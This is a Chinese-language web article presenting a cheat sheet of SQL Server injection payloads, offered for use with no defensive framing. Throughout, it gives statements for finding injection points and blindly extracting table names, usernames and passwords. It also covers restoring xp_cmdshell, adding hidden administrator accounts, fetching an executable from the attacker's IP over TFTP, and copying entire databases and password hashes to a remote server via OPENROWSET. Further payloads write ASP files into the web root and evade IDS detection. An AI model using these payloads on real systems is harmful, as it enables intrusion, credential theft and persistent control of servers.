常用的SQL注射语句解析

来源:Oracle认证    发布时间:2012-11-12    Oracle认证视频    评论

  SQL注射语句

  1.判断有无注入点

  ' ; and 1=1 and 1=2

  2.猜表一般的表的名称无非是admin adminuser user pass password 等..

  and 0<>(select count(*) from *)

  and 0<>(select count(*) from admin) ---判断是否存在admin这张表

  3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

  and 0<(select count(*) from admin)

  and 1<(select count(*) from admin)

  4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称。

  and 1=(select count(*) from admin where len(*)>0)--

  and 1=(select count(*) from admin where len(用户字段名称name)>0)

  and 1=(select count(*) from admin where len(密码字段名称password)>0)

  5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

  and 1=(select count(*) from admin where len(*)>0)

  and 1=(select count(*) from admin where len(name)>6) 错误

  and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

  and 1=(select count(*) from admin where len(name)=6) 正确

  and 1=(select count(*) from admin where len(password)>11) 正确

  and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

  and 1=(select count(*) from admin where len(password)=12) 正确

  6.猜解字符

  and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位

  and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位

  就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

  and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --

  这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

  看服务器打的补丁=出错了打了SP4补丁

  and 1=(select @@VERSION)--

  看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。

  and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--

  判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

  and 'sa'=(Select System_user)--

  and user_name()='dbo'--

  and 0<>(select user_name()--

  看xp_cmdshell是否删除

  and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND

  name = 'xp_cmdshell')--

  xp_cmdshell被删除,恢复,支持绝对路径的恢复

  ;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--

  ;EXEC master.dbo.sp_addextendedproc

  'xp_cmdshell','c:/inetpub/wwwroot/xplog70.dll'--

  反向PING自己实验

  ;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec

  sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

  加帐号

  ;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC

  SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user

  jiaoniang$ 1866574 /add'--

  创建一个虚拟目录E盘:

  ;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod

  @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默认Web站点"

  -v "e","e:/"'--

  访问属性:(配合写入一个webshell)

  declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod

  @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a

  w3svc/1/ROOT/e +browse'

  爆库 特殊技巧::/='/' 或者把/和/ 修改%5提交

  如何得到SQLSERVER某个数据库中所有表的表名?

  --------------------------------------------------------------------------------

  用户表:

  select name from sysobjects where xtype = 'U';

  系统表:

  select name from sysobjects where xtype = 'S';

  所有表:

  select name from sysobjects where xtype = 'S' or xtype = 'U';

  --------------------------------------------------------------------------------

  and 0<>(select top 1 paths from newtable)--

  得到库名(从1到5都是系统的id,6以上才可以判断)

  and 1=(select name from master.dbo.sysdatabases where dbid=7)--

  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and

  dbid=6)

  依次提交 dbid = 7,8,9.... 得到更多的数据库名

  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表

  假设为 admin

  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name

  not in ('Admin')) 来得到其他的表。

  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and

  name='admin'

  and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id

  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)

  得到一个admin的一个字段,假设为 user_id

  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and

  name not in

  ('id',...)) 来暴出其他的字段

  and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名

  依次可以得到密码。。。。。假设存在user_id username ,password 等字段

  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and

  dbid=6)

  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名

  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name

  not in('Address'))

  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and

  name='admin' and uid>(str(id))) 判断id值

  and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

  ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

  ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin

  (union,access也好用)

  得到WEB路径

  ;create table [dbo].[swap] ([swappass][char](255));--

  and (select top 1 swappass from swap)=1--

  ;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare

  @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',

  @key='SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/',

  @value_name='/', values=@test OUTPUT insert into paths(path)

  values(@test)--

  ;use ku1;--

  ;create table cmd (str image);-- 建立image类型的表cmd

  存在xp_cmdshell的测试过程:

  ;exec master..xp_cmdshell 'dir'

  ;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号

  ;exec master.dbo.sp_password null,jiaoniang$,1866574;--

  ;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--

  ;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:*

  /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

  ;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$

  /add';--

  exec master..xp_servicecontrol 'start', 'schedule' 启动服务

  exec master..xp_servicecontrol 'start', 'server'

  ; DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC

  SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user

  jiaoniang$ 1866574 /add'

  ;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC

  SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net

  localgroup administrators jiaoniang$ /add'

  '; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上传文件

  ;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'

  ;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:/'

  ;declare @a;set @a=db_name();backup database @a to

  disk='你的IP你的共享目录bak.dat'

  如果被限制则可以。

  select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec

  master.dbo.sp_addlogin hax')

  查询构造:

  Select * FROM news Where id=... AND topic=... AND .....

  admin'and 1=(select count(*) from [user] where username='victim' and

  right(left(userpass,01),1)='1') and userpass <>'

  select 123;--

  ;use master;--

  :a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。

  and 1<>(select count(email) from [user]);--

  ;update [users] set email=(select top 1 name from sysobjects where

  xtype='u' and status>0) where name='ffff';--

  ;update [users] set email=(select top 1 id from sysobjects where xtype='u'

  and name='ad') where name='ffff';--

  ';update [users] set email=(select top 1 name from sysobjects where

  xtype='u' and id>581577110) where name='ffff';--

  ';update [users] set email=(select top 1 count(id) from password) where

  name='ffff';--

  ';update [users] set email=(select top 1 pwd from password where id=2)

  where name='ffff';--

  ';update [users] set email=(select top 1 name from password where id=2)

  where name='ffff';--

  上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

  通过查看ffff的用户资料可得第一个用表叫ad

  然后根据表名ad得到这个表的ID 得到第二个表的名字

  insert into users values( 666,

  char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),

  char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--

  insert into users values( 667,123,123,0xffff)--

  insert into users values ( 123, 'admin''--', 'password', 0xffff)--

  ;and user>0

  ;and (select count(*) from sysobjects)>0

  ;and (select count(*) from mysysobjects)>0 //为access数据库

  枚举出数据表名

  ;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and

  status>0);--

  这是将第一个表名更新到aaa的字段处。

  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。

  ;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and

  status>0 and name<>'vote');--

  然后id=1552 and exists(select * from aaa where aaa>5)

  读出第二个表,一个个的读出,直到没有为止。

  读字段是这样:

  ;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--

  然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

  ;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--

  然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

  [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

  update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and

  status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件] select top 1 name from

  sysobjects where xtype=u and status>0 and name not in('table1','table2',…)

  通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

  [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

  update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [

  where 条件]

  绕过IDS的检测[使用变量]

  ;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'

  ;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:/'

  1、 开启远程数据库

  基本语法

  select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',

  'select * from table1' )

  参数: (1) OLEDB Provider name

  2、 其中连接字符串参数可以是任何端口用来连接,比如

  select * from OPENROWSET('SQLOLEDB',

  'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select *

  from table'

  3.复制目标主机的整个数据库insert所有远程表到本地表。

  基本语法:

  insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',

  'select * from table1') select * from table2

  这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

  insert into

  OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

  * from table1') select * from table2

  insert into

  OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

  * from _sysdatabases')

  select * from master.dbo.sysdatabases

  insert into

  OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

  * from _sysobjects')

  select * from user_database.dbo.sysobjects

  insert into

  OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

  * from _syscolumns')

  select * from user_database.dbo.syscolumns

  复制数据库:

  insert into

  OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

  * from table1') select * from database..table1

  insert into

  OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

  * from table2') select * from database..table2

  复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:

  insert into OPENROWSET('SQLOLEDB',

  'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from

  _sysxlogins') select * from database.dbo.sysxlogins

  得到hash之后,就可以进行暴力破解。

  遍历目录的方法: 先创建一个临时表:temp

  ';create table temp(id nvarchar(255),num1 nvarchar(255),num2

  nvarchar(255),num3 nvarchar(255));--

  ';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器

  ';insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 获得子目录列表

  ';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';--

  获得所有子目录的目录树结构,并寸入temp表中

  ';insert into temp(id) exec master.dbo.xp_cmdshell 'type

  c:/web/index.asp';-- 查看某个文件的内容

  ';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/';--

  ';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/ *.asp /s/a';--

  ';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript

  C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc'

  ';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';--

  (xp_dirtree适用权限PUBLIC)

  写入表:

  语句1:and 1=(Select IS_SRVROLEMEMBER('sysadmin'));--

  语句2:and 1=(Select IS_SRVROLEMEMBER('serveradmin'));--

  语句3:and 1=(Select IS_SRVROLEMEMBER('setupadmin'));--

  语句4:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--

  语句5:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--

  语句6:and 1=(Select IS_SRVROLEMEMBER('diskadmin'));--

  语句7:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--

  语句8:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--

  语句9:and 1=(Select IS_MEMBER('db_owner'));--

  把路径写到表中去:

  ;create table dirs(paths varchar(100), id int)--

  ;insert dirs exec master.dbo.xp_dirtree 'c:/'--

  and 0<>(select top 1 paths from dirs)--

  and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--

  ;create table dirs1(paths varchar(100), id int)--

  ;insert dirs exec master.dbo.xp_dirtree 'e:/web'--

  and 0<>(select top 1 paths from dirs1)--

  把数据库备份到网页目录:下载

  ;declare @a sysname; set @a=db_name();backup database @a to

  disk='e:/web/down.bak';--

  and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where

  xtype=char(85)) T order by id desc)

  and 1=(Select Top 1 col_name(object_id('USER_LOGIN'),1) from sysobjects)

  参看相关表。

  and 1=(select user_id from USER_LOGIN)

  and 0=(select user from USER_LOGIN where user>1)

  -=- wscript.shell example -=-

  declare @o int

  exec sp_oacreate 'wscript.shell', @o out

  exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

  '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec

  sp_oamethod @o, 'run', NULL, 'notepad.exe'--

  declare @o int, @f int, @t int, @ret int

  declare @line varchar(8000)

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'opentextfile', @f out, 'c:/boot.ini', 1

  exec @ret = sp_oamethod @f, 'readline', @line out

  while( @ret = 0 )

  begin

  print @line

  exec @ret = sp_oamethod @f, 'readline', @line out

  end

  declare @o int, @f int, @t int, @ret int

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'createtextfile', @f out,

  'c:/inetpub/wwwroot/foo.asp', 1

  exec @ret = sp_oamethod @f, 'writeline', NULL,

  ''

  declare @o int, @ret int

  exec sp_oacreate 'speech.voicetext', @o out

  exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'

  exec sp_oasetproperty @o, 'speed', 150

  exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong

  to,us', 528

  waitfor delay '00:00:05'

  '; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out

  exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty

  @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel

  servers are belong to us', 528 waitfor delay '00:00:05'--

  xp_dirtree适用权限PUBLIC

  exec master.dbo.xp_dirtree 'c:/'

  返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

  create table dirs(paths varchar(100), id int)

  建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。

  insert dirs exec master.dbo.xp_dirtree 'c:/'

  只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!

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